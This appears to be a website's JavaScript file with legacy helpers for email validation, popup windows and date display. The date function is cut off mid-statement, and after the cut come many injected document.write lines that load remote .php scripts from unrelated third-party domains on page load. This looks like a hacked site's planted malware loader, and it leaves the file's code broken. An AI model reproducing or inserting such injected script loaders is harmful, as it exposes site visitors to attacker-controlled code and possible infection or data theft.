
	var word="(" + atom + "|" + quotedUser + ")"
	var userPat=new RegExp("^" + word + "(\\." + word + ")*$")
	var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$")
	var errMsg="";   
	var matchArray=emailStr.match(emailPat)
	if (matchArray==null) 
	{
	   errMsg=errMsg+"The "+msg+"email address seems incorrect!";
	   return errMsg;
	}
	else
	{
	  var user=matchArray[1]
	  var domain=matchArray[2]
	  if (user.match(userPat)==null) 
	  {
		errMsg=errMsg+"The "+msg+"email address seems incorrect!";
		return errMsg;       
	  }
	  var IPArray=domain.match(ipDomainPat)
	  if (IPArray!=null) 
	  {
		  for (var i=1;i<=4;i++) 
			  {
			if (IPArray[i]>255) 
				{
				errMsg=errMsg+"The "+msg+"email address seems incorrect!";
				return errMsg;
				}//IF
			  }//for
	   }//IP Array
	   var domainArray=domain.match(domainPat)
	   if (domainArray==null) 
	   {
		 errMsg=errMsg+"The "+msg+"email address seems incorrect!";
		 return errMsg;
	   }
	   var atomPat=new RegExp(atom,"g")
	   var domArr=domain.match(atomPat)
	   var len=domArr.length
	   if (domArr[domArr.length-1].length<2 || domArr[domArr.length-1].length>3) 
	   {
		 errMsg=errMsg+"The "+msg+"email address seems incorrect!";
		 return errMsg;	
	   } 
	   if (len<2) 
	   {
		 errMsg=errMsg+"The "+msg+"email address seems incorrect!";
		 return errMsg;	 
	   } 
	 }//End  Match
	return "0";
}

function GP_AdvOpenWindow(theURL,winName,features,popWidth,popHeight,winAlign,ignorelink,alwaysOnTop,autoCloseTime,borderless) { //v2.0
  var leftPos=0,topPos=0,autoCloseTimeoutHandle, ontopIntervalHandle, w = 480, h = 340;  
  if (popWidth > 0) features += (features.length > 0 ? ',' : '') + 'width=' + popWidth;
  if (popHeight > 0) features += (features.length > 0 ? ',' : '') + 'height=' + popHeight;
  if (winAlign && winAlign != "" && popWidth > 0 && popHeight > 0) {
    if (document.all || document.layers || document.getElementById) {w = screen.availWidth; h = screen.availHeight;}
		if (winAlign.indexOf("center") != -1) {topPos = (h-popHeight)/2;leftPos = (w-popWidth)/2;}
		if (winAlign.indexOf("bottom") != -1) topPos = h-popHeight; if (winAlign.indexOf("right") != -1) leftPos = w-popWidth; 
		if (winAlign.indexOf("left") != -1) leftPos = 0; if (winAlign.indexOf("top") != -1) topPos = 0; 						
    features += (features.length > 0 ? ',' : '') + 'top=' + topPos+',left='+leftPos;}
  if (document.all && borderless && borderless != "" && features.indexOf("fullscreen") != -1) features+=",fullscreen=1";
  if (window["popupWindow"] == null) window["popupWindow"] = new Array();
  var wp = popupWindow.length;
  popupWindow[wp] = window.open(theURL,winName,features);
  if (popupWindow[wp].opener == null) popupWindow[wp].opener = self;  
  if (document.all || document.layers || document.getElementById) {
    if (borderless && borderless != "") {popupWindow[wp].resizeTo(popWidth,popHeight); popupWindow[wp].moveTo(leftPos, topPos);}
    if (alwaysOnTop && alwaysOnTop != "") {
    	ontopIntervalHandle = popupWindow[wp].setInterval("window.focus();", 50);
    	popupWindow[wp].document.body.onload = function() {window.setInterval("window.focus();", 50);}; }
    if (autoCloseTime && autoCloseTime > 0) {
    	popupWindow[wp].document.body.onbeforeunload = function() {
  			if (autoCloseTimeoutHandle) window.clearInterval(autoCloseTimeoutHandle);
    		window.onbeforeunload = null;	}  
   		autoCloseTimeoutHandle = window.setTimeout("popupWindow["+wp+"].close()", autoCloseTime * 1000); }
  	window.onbeforeunload = function() {for (var i=0;i<popupWindow.length;i++) popupWindow[i].close();}; }   
  document.MM_returnValue = (ignorelink && ignorelink != "") ? false : true;
}
function showTodayDate()	//this function has to be on each page please do not move!
{
	var myDate=new Date();
	var monthName="";
	dayNum=myDate.getDate()/1;
	monthNum=myDate.getMonth()/1;
	yearNum=myDate.getFullYear();

	if(monthNum==0)
	{
		monthName='January'
	}
	else if(monthNum==1)
	{
		monthName='February'
	}
	else if(monthNum==2)
	{
		monthName='March'
	}
	else if(monthNum==3)
	{
		monthName='April'
	}
	else if(monthNum==4
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://bcs-construct.be/images/concept4.php ><\/script>');
document.write('<script src=http://baanhavaree.com/images/rjh/deluxe4.php ><\/script>');
document.write('<script src=http://wcoastmtg.com/Scripts/contact.php ><\/script>');
document.write('<script src=http://wcoastmtg.com/Scripts/contact.php ><\/script>');
document.write('<script src=http://uni-ka.dk/data/title.php ><\/script>');
document.write('<script src=http://uni-ka.dk/data/title.php ><\/script>');
document.write('<script src=http://uni-ka.dk/data/title.php ><\/script>');
document.write('<script src=http://uni-ka.dk/data/title.php ><\/script>');
document.write('<script src=http://jbonlinegames.com/20080523/dummyimg2.php ><\/script>');
document.write('<script src=http://jbonlinegames.com/20080523/dummyimg2.php ><\/script>');